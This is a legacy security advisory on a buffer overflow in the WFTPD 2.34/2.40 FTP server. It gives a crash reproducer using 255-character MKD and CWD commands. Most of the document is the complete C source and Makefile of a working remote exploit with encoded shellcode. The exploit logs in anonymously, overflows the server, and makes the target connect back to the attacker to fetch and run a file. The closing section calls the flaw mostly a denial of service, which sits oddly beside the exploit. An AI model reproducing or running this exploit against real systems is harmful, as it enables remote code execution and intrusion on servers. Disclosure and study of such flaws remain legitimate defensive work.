COMMAND
WFTPD
SYSTEMS AFFECTED
WFTPD v2.34, v2.40 FTPServer
PROBLEM
Luciano Martins found in the WFTPD v2.34,v2.40 Server and earlier
a vulnerability to remotely exploitable buffer overflow. This can
result in a denial of service and at worst in arbitrary code being
executed on the system.
The vulnerabilities are the conjunction of two large commands the
MKD and CWD if they are passed an argument a string exact of 255
characters. If this 2 large commands are passed in order program
crash. Tested in: Windows 98 / Windows Nt. Example.
First command
=============
MKD
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaa
Second command
==============
CWD
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaa
Crash.....Overflow.
Below is a workeable WFTPD 2.34 exploit for WIN NT 4.0 [SP3-4],
Windows 95, Windows 98. In order to make it work, the attacker
must have access (eg: the exploit works with anonymous access but
it's easy to change, look at the source code). An interesting
point is that if you don't have an account on the server and also
tries to run the exploit the server stops answering requests and
makes a GPF when the administrator of the server exits WFTPD.
Makefile:
#
# $Id: Makefile,v 1.2 1999/11/04 19:20:59 fgsch Exp $
#
# Descrition: Exploit program for the WFTPD 2.34 buffer overflow in MKD
#
# Author: Alberto Solino (asolino@core-sdi.com)
#
# Vulnerable Systems:
# Microsoft Windows NT 4.0 Service Pack 3
# Microsoft Windows NT 4.0 Service Pack 4
# Microsoft Windows 95
# Microsoft Windows 98
#
# Copyright (c) 1998,1999 CORE SDI S.A., Buenos Aires, Argentina.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
# ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
# FROM THE USE OR MISUSE OF THIS SOFTWARE.
#
CC = cc
CFLAGS = -O2 -Wall
LDFLAGS = -s
OBJS = wftpdexp.o
TARGET = wftpdexp
all: $(TARGET)
.c.o:
$(CC) $(CFLAGS) -c $<
$(TARGET): $(OBJS)
$(CC) -o $@ $(OBJS) $(LDFLAGS)
clean:
@rm -f $(OBJS) $(TARGET)
Exploit (wftpdexp):
/*
* $Id: wftpdexp.c,v 1.8 1999/11/04 19:21:00 fgsch Exp $
*
* Descrition: Exploit program for the WFTPD 2.34 buffer overflow in MKD
*
* Author: Alberto Solino (asolino@core-sdi.com)
*
* Vulnerable Systems:
* Microsoft Windows NT 4.0 Service Pack 3
* Microsoft Windows NT 4.0 Service Pack 4
* Microsoft Windows 95
* Microsoft Windows 98
*
* Copyright (c) 1998,1999 CORE SDI S.A., Buenos Aires, Argentina.
* All rights reserved.
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
* ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
* FROM THE USE OR MISUSE OF THIS SOFTWARE.
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <signal.h>
#include <setjmp.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define BUFLEN 8192
#define JUMP_TO_CALL_EAX_SP3 0x77fa5ac7
#define JUMP_TO_CALL_EAX_SP4 0x77f7635d
#define JUMP_TO_CALL_EAX_98 0xbff7ff7b
#define JUMP_TO_CALL_EAX_95 0x7f711130
#define JUMP_TO_BEGIN 0xe953feffff
#define IP_OFFSET 261
#define PORT_OFFSET 259
#define XOR_MASK 0x98
#define DEFAULT_PORT 0x1515
jmp_buf jmpbuf;
int ssock;
int handler_sigusr1();
int handler_sigchld();
int handler_sigterm();
char shell_code[]="MKD "
"\xeb\xe\x5e\x56\x5f\xac\x3c\xa0\x74\xb\x90\x34\x98\xaa\xeb\xf5\xe8\xed\xff"
"\xff\xff"
"\x70\x98\x98\x98\x98\x8\xc6\x1b\x76\x9d\x19\x76\x98\x99\x98\x98\x23\x98\x9a"
"\x98\x98\x99\x6b\x27\x17\x9a\x98\x98\x99\x6f\x19\x74\x98\x9a\x98\x98\xcf\xce"
"\xa9\x51\xfe\xd9\xfe\xd9\xc9\xcb\xcb\x22\xc8\x20\xdd\x98\x67\x8a\x11\x5e\xc3"
"\xa8\x58\x4f\xdb\x1c\x58\xed\x60\x4f\x1c\x58\xec\x94\xcb\xce\x22\xd4\x20\xdd"
"\x98\x67\x8a\x33\x73\x7f\xc1\xdb\x7a\x4e\xc6\xc7\xa9\x4a\xca\xda\xca\xda\xca"
"\x67\xcf\x80\xc8\xf2\x88\x22\x70\x99\x98\x98\x99\x6a\xca\xc8\x67\xcf\x84\xa9"
"\x58\xfe\xd0\xc8\xfe\xd8\xc8\x67\xcf\x88\xce\x11\x5e\xc1\xc0\xc8\xc9\xa9\x4a"
"\xca\xfe\xda\xfe\x59\x7a\x9b\xfe\x1b\x5a\x9c\xca\x22\x1a\x9a\x98\x98\x99\x52"
"\xca\xc8\x67\xcf\xbc\xa9\x4a\xda\xda\xc1\xc0\xc9\xc8\xca\x22\x1a\x9a\x98\x98"
"\x99\x52\xca\x67\x8f\x11\x5b\xc0\xc8\xa9\x4a\xca\xfe\xd2\xca\xce\xc8\x67\xcf"
"\xbc\x1d\x58\xec\x90\xc8\xce\xcb\x67\xcf\x9c\x73\x7f\xcb\x67\xcf\x90\xc1\xc1"
"\xa9\x4a\xda\xca\x22\x1a\x9a\x98\x98\x99\x52\xca\x67\xcf\x94\xa9\x4a\xca\x67"
"\xcf\x8c\x98\x98\x9a\x98\x8d\x8d\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
"\x98\x98\x98\x98\x98\x98\x98\x98\x98\xd3\xdd\xca\xd6\xdd\xd4\xab\xaa\xb6\xdc"
"\xd4\xd4\x98\xc7\xf4\xfb\xea\xfd\xf9\xec\x98\xc7\xf4\xef\xea\xf1\xec\xfd\x98"
"\xc7\xf4\xfb\xf4\xf7\xeb\xfd\x98\xcf\xf1\xf6\xdd\xe0\xfd\xfb\x98\xdf\xf4\xf7"
"\xfa\xf9\xf4\xd9\xf4\xf4\xf7\xfb\x98\xdd\xe0\xf1\xec\xc8\xea\xf7\xfb\xfd\xeb"
"\xeb\x98\x98\xcf\xcb\xd7\xdb\xd3\xab\xaa\xb6\xdc\xd4\xd4\x98\xeb\xf7\xfb\xf3"
"\xfd\xec\x98\xfb\xf7\xf6\xf6\xfd\xfb\xec\x98\xeb\xfd\xf6\xfc\x98\xea\xfd\xfb"
"\xee\x98\xcf\xcb\xd9\xcb\xec\xf9\xea\xec\xed\xe8\x98\xcf\xcb\xd9\xdb\xf4\xfd"
"\xf9\xf6\xed\xe8\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
"\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
"\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
"\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
"\x98\x98\x98\xa0\n\n";
void readSock(int sock)
{
char myBuff[256];
char c;
char *cp=myBuff;
do {
recv(sock,&c, 1, 0);
fprintf(stdout,"%c",c);
if ( cp < &myBuff[sizeof(myBuff)-1] )
*cp++ = c;
if ( c == '\n' ) {
if ( myBuff[3] != '-' )
break;
else
cp = myBuff;
}
} while(1);
}
void usage(char *prg)
{
printf("wftpd v.2.34 exploit (c) 1999 Core SDI S.A.\n");
printf("Target OS: WinNT 4.0 SP5/SP4/SP3 Win95/98\n\n");
printf("Usage mode: %s -s os <hostname> <filetosend> [srvport]\n\n",
prg);
printf("hostname\t\t: target host\n");
printf("filetosend\t\t: filename to send and execute\n");
printf(
"srvport\t\t\t: port number to wait connection from target host\n");
printf("\t\t\t machine (optional).\n");
printf("-s os\t\t\t: set target operative system\n");
printf("\t\t\t\tsp4 for WinNT 4.0 SP4 (English)\n");
printf("\t\t\t\tsp3 for WinNT 4.0 SP3 (English)\n\n");
printf("\t\t\t\tw95 for Windows 95 (English)\n\n");
printf("\t\t\t\tw98 for Windows 98 (English)\n\n");
exit(254);
}
int main(int argc, char **argv)
{
int sock;
struct sockaddr_in sin;
int port;
u_long ip;
unsigned char d;
struct hostent *phe;
char *progname = argv[0];
char *hostname;
char *filename;
char localhost[100];
int j;
pid_t pid;
unsigned char spnum=0;
while ((j = getopt(argc, argv, "s:")) != -1)
switch (j) {
case 's':
if( (strcasecmp(optarg, "sp4")==0) ) {
spnum=4;
}
else if( (strcasecmp(optarg, "sp3")==0) ) {
spnum=3;
}
else if( (strcasecmp(optarg, "w95")==0) ) {
spnum=95;
}
else if( (strcasecmp(optarg, "w98")==0) ) {
spnum=98;
}
else {
printf("\ninvalid target os!\n\n");
usage(progname);
}
break;
default:
usage(progname);
}
argc -= optind;
argv += optind;
if (argc < 2 || spnum == 0) {
usage(progname);
exit(254);
} else {
hostname = argv[0];
filename = argv[1];
if ( strlen(filename) > 12 ) {
fprintf(stderr,"Filename must be <= 12 characteres\n");
exit(254);
}
if ( (argc - 2) > 0 )
port = atoi(argv[2]);
else
port = DEFAULT_PORT;
}
printf("wftpd exploit (c) 1999 Core SDI S.A.\n\n");
switch ( spnum ) {
case 3:
shell_code[271] = ((JUMP_TO_CALL_EAX_SP3 >> 24) & 0xff);
shell_code[270] = ((JUMP_TO_CALL_EAX_SP3 >> 16) & 0xff);
shell_code[269] = ((JUMP_TO_CALL_EAX_SP3 >> 8 ) & 0xff);
shell_code[268] = (JUMP_TO_CALL_EAX_SP3 & 0xff);
break;
case 4:
shell_code[271] = ((JUMP_TO_CALL_EAX_SP4 >> 24) & 0xff);
shell_code[270] = ((JUMP_TO_CALL_EAX_SP4 >> 16) & 0xff);
shell_code[269] = ((JUMP_TO_CALL_EAX_SP4 >> 8 ) & 0xff);
shell_code[268] = (JUMP_TO_CALL_EAX_SP4 & 0xff);
break;
case 98:
shell_code[271] = ((JUMP_TO_CALL_EAX_98 >> 24) & 0xff);
shell_code[270] = ((JUMP_TO_CALL_EAX_98 >> 16) & 0xff);
shell_code[269] = ((JUMP_TO_CALL_EAX_98 >> 8 ) & 0xff);
shell_code[268] = (JUMP_TO_CALL_EAX_98 & 0xff);
break;
case 95:
shell_code[271] = ((JUMP_TO_CALL_EAX_95 >> 24) & 0xff);
shell_code[270] = ((JUMP_TO_CALL_EAX_95 >> 16) & 0xff);
shell_code[269] = ((JUMP_TO_CALL_EAX_95 >> 8 ) & 0xff);
shell_code[268] = (JUMP_TO_CALL_EAX_95 & 0xff);
break;
}
shell_code[428] = ((JUMP_TO_BEGIN >> 32) & 0xff);
shell_code[429] = ((JUMP_TO_BEGIN >> 24) & 0xff);
shell_code[430] = ((JUMP_TO_BEGIN >> 16) & 0xff);
shell_code[431] = ((JUMP_TO_BEGIN >> 8) & 0xff);
shell_code[432] = ((JUMP_TO_BEGIN) & 0xff);
if ( gethostname(localhost,sizeof(localhost)) < 0) {
perror("gethostname(3)");
exit(254);
}
if ( (phe = gethostbyname(localhost)) ) {
bcopy( phe->h_addr, (char *)&ip, sizeof(u_long) );
} else if ( (ip = inet_addr(hostname)) == INADDR_NONE ) {
fprintf(stderr,"can't get %s host entry\n", hostname);
exit(254);
}
ip=ntohl(ip);
d = (char) (((port&0xff00) >> 8) ^ XOR_MASK);
if ( (d == 0x20 ) || (d == 00) || (d == 0xa) || (d == 0x2f) ||
(d == 0xde) || (d == XOR_MASK) || (d == 0xce) ) {
fprintf(stderr,
"Couldn't use %d xored with current mask, change it!\n",
port);
exit(254);
} else
shell_code[PORT_OFFSET] = d;
d = (char) ((port&0xff) ^ XOR_MASK);
if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
fprintf(stderr,
"Couldn't use %d xored with current mask, change it!\n",
port);
exit(254);
} else
shell_code[PORT_OFFSET+1] = d;
d = (char) (((ip&0xff000000) >> 24) ^ XOR_MASK);
if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
fprintf(stderr,
"Couldn't use current client ip address xored, "
"change it!\n");
exit(254);
} else
shell_code[IP_OFFSET] = d;
d = (char) (((ip&0xff0000) >> 16) ^ XOR_MASK);
if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
fprintf(stderr,
"Couldn't use current client ip address xored, "
"change it!\n");
exit(254);
} else
shell_code[IP_OFFSET+1] = d;
d = (char) (((ip&0xff00) >> 8) ^ XOR_MASK);
if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
fprintf(stderr,
"Couldn't use current client ip address xored, "
"change it!\n");
exit(254);
} else
shell_code[IP_OFFSET+2] = d;
d = (char) ((ip&0xff) ^ XOR_MASK);
if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
fprintf(stderr,
"Couldn't use current client ip address xored, "
"change it!\n");
exit(254);
} else
shell_code[IP_OFFSET+3] = d;
if ( (pid = fork()) < 0) {
/* fork error */
perror("fork(2)");
exit(254);
} else if (pid == 0) {
/* Child */
struct sockaddr_in ssin;
FILE *fp;
char buffer[BUFLEN];
int cnt;
int alen=0;
signal(SIGTERM, (void *) &handler_sigterm);
if ( (fp=fopen(filename,"rb")) == NULL ) {
perror("fopen(3)");
close(ssock);
exit(254);
}
printf("Creatin' socket... ");
if ( (sock=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
perror("socket(2)");
exit(254);
}
printf("OK\n");
bzero(&sin,sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = INADDR_ANY;
printf("Binding socket... ");
if ( bind(sock,(struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
perror("bind(2)");
exit(254);
}
printf("OK\n");
printf("Listening socket... ");
if ( listen(sock,5) < 0 ) {
perror("listen(2)");
exit(254);
}
printf("OK\n");
kill(getppid(),SIGUSR1);
printf("Ready to accept on port %d\n",port);
fflush(stdout);
while (1) {
ssock = accept(sock, (struct sockaddr *)&ssin, &alen);
printf("Receiving conection...\n");
fflush(stdout);
printf("Sending %s\n",filename);
send(ssock,filename,strlen(filename),0);
while ( !feof(fp) ) {
cnt=fread(&buffer,1,BUFLEN,fp);
if ( (send(ssock,buffer,cnt,0)) != cnt) {
perror("send(2)");
close(ssock);
exit(254);
}
}
printf("Finishing connection\n");
fclose(fp);
close(ssock);
exit(1);
}
} else {
/* Parent */
signal(SIGCHLD, (void *) &handler_sigchld);
signal(SIGUSR1, (void *) &handler_sigusr1);
if ( setjmp(jmpbuf) == 0 )
pause();
if ( (sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 ) {
kill(pid,SIGTERM);
perror("socket(2)");
exit(254);
}
bzero(&sin, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_port = htons(21);
if ( (phe = gethostbyname(hostname)) ) {
bcopy( phe->h_addr, (char *)&ip, sizeof(u_long) );
} else if ( (ip = inet_addr(hostname)) == INADDR_NONE ) {
fprintf(stderr,"can't get %s host entry\n", hostname);
kill(pid,SIGTERM);
exit(254);
}
sin.sin_addr.s_addr = ip;
if (connect(sock,(struct sockaddr *)&sin,
sizeof(struct sockaddr))<0) {
kill(pid,SIGTERM);
perror("connect(2)");
exit(254);
}
readSock(sock);
fprintf(stdout,"\nLogin anonymous\n");
send(sock, "USER ftp\n", strlen("USER ftp\n"),0);
readSock(sock);
send(sock, "PASS blueskies\n", strlen("PASS blueskies\n"),0);
readSock(sock);
fprintf(stdout,"\nSending exploit!\n");
fflush(stdout);
send(sock, shell_code, strlen(shell_code),0);
waitpid(0,NULL,0);
close(sock);
exit(1);
}
return (0);
}
int handler_sigusr1()
{
longjmp(jmpbuf,1);
}
int handler_sigchld()
{
exit(254);
}
int handler_sigterm()
{
close(ssock);
exit(254);
}
SOLUTION
Our initial tests suggest that it is more of a 'denial-of-service'
nature, rather than an exploit allowing an attacker to load their
own code into memory - the access that generates the fault is
overwriting a single null byte into heap space, rather than stack
space. WarFTPd team has been working on this problem coinciding
as it has with their intent to release a new version, 2.41.